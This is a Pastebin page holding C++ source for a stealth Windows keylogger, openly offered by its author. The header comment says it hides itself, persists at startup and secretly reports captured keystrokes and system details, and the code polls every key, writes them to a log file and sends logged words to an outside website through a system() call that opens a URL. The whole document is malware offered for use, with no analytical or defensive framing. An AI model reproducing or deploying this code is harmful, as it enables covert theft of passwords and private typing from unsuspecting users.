Advertisement
H4T3D

Key Logger + Send all key Logs To Website

Aug 21st, 2015
357
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 3.33 KB | None | 0 0
  1. /*
  2. CODED BY H4T3D
  3.  
  4. This Key Logger run in Stealth mode and does following tasks
  5.  
  6. 1,Save all key logs and all system info with public and private ip etc in System32log text file
  7.  
  8. 2, Sends all Information secretly To code-x.zz.mu website
  9.  
  10. 3, Copy Itself To Start Menu So when ever computer starts it runs in back ground with no trace
  11.  
  12. 4, Deactivates on Shift+Ctrl key :)
  13.  
  14. Changing Name Wont Make You l33t -_-
  15.  
  16. */
  17. #include <iostream>
  18. #include <windows.h>
  19. #include <winuser.h>  
  20. #include <ctime>
  21. #include<fstream>
  22.  
  23.  
  24. void readFile()
  25. {
  26.     ifstream file;
  27.     file.open ("System32log.txt");
  28.     string word;
  29.     char x ;
  30.     word.clear();
  31.  
  32.     while ( ! file.eof() )
  33.     {
  34.         x = file.get();
  35.  
  36.         while ( x != ' ' )
  37.         {
  38.             word = word + x;
  39.             x = file.get();
  40.         }
  41.  
  42.             cout<< word <<endl;
  43.            
  44.     char str[80];
  45.   strcpy (str,"start /max http://code-x.zz.mu/?txt=");
  46.   strcat (str,word.c_str());
  47.   puts (str);
  48.   cout<<"Sleep : "<<endl;
  49.   Sleep(1000);
  50.  
  51. system(str);
  52.  
  53.             word.clear();
  54.  
  55.     }
  56.  
  57. return;
  58. }
  59.  
  60.  
  61.  
  62. int Save (int key_stroke, char *file);
  63. void Stealth();
  64.  
  65. int main()
  66. {
  67.  
  68.  
  69.      Stealth();
  70.      char i;
  71.  
  72. // current date/time based on current system
  73.    time_t now = time(0);
  74.  
  75.    cout << "Number of sec since January 1,1970:" << now << endl;
  76.  
  77.    tm *ltm = localtime(&now);
  78.    
  79.    if(1 + ltm->tm_hour == 13){
  80.     readFile();
  81.    }
  82.  
  83.  
  84. while (1)
  85. {
  86.     for(i = 8; i <= 190; i++)
  87.     {
  88.         if (GetAsyncKeyState(i) == -32767)
  89.        
  90.             Save (i,"System32log.txt");
  91.    
  92.     }
  93. }
  94. system ("PAUSE");
  95. return 0;
  96. }
  97.  
  98.  
  99.  
  100.  
  101. int Save (int key_stroke, char *file)
  102. {
  103. if ( (key_stroke == 1) || (key_stroke == 2) )
  104.     return 0;
  105.  
  106. FILE *OUTPUT_FILE;
  107. OUTPUT_FILE = fopen(file, "a+");
  108.  
  109. cout << key_stroke << endl;
  110.  
  111.     if (key_stroke == 8)
  112.      {
  113.        
  114.     }
  115.    
  116.     else if (key_stroke == 13)
  117.     fprintf(OUTPUT_FILE, "%s", "\n");
  118.     else if (key_stroke == 32)
  119.     fprintf(OUTPUT_FILE, "%s", " ");
  120.     else if (key_stroke == VK_TAB)    {
  121.              
  122.              fprintf(OUTPUT_FILE, "%s", "[TAB]");
  123.              
  124.              
  125.                   }
  126.         else if (key_stroke == VK_SHIFT)
  127.     fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
  128.         else if (key_stroke == VK_CONTROL)
  129.         {
  130.        
  131.             MessageBox(NULL, "Mode Deactivated !", "Viper Code-X", MB_OK);
  132.  
  133.             exit(0);
  134.             system("exit");
  135.    
  136.             return 0;
  137.    
  138.    
  139.     }
  140.             else if (key_stroke == VK_ESCAPE){
  141.                
  142.     fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
  143.    
  144. }
  145.             else if (key_stroke == VK_END)
  146.     fprintf(OUTPUT_FILE, "%s", "[END]");
  147.                 else if (key_stroke == VK_HOME)
  148.     fprintf(OUTPUT_FILE, "%s", "[HOME]");
  149.                 else if (key_stroke == VK_LEFT)
  150.     fprintf(OUTPUT_FILE, "%s", "[LEFT]");
  151.                     else if (key_stroke == VK_UP)
  152.     fprintf(OUTPUT_FILE, "%s", "[UP]");
  153.                     else if (key_stroke == VK_RIGHT)
  154.     fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
  155.                         else if (key_stroke == VK_DOWN)
  156.     fprintf(OUTPUT_FILE, "%s", "[DOWN]");
  157.    
  158.                         else if (key_stroke == 190 || key_stroke == 110)
  159.     fprintf(OUTPUT_FILE, "%s", ".");
  160.                         else
  161.     fprintf(OUTPUT_FILE, "%s", &key_stroke);
  162. fclose (OUTPUT_FILE);
  163. return 0;
  164.  
  165. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement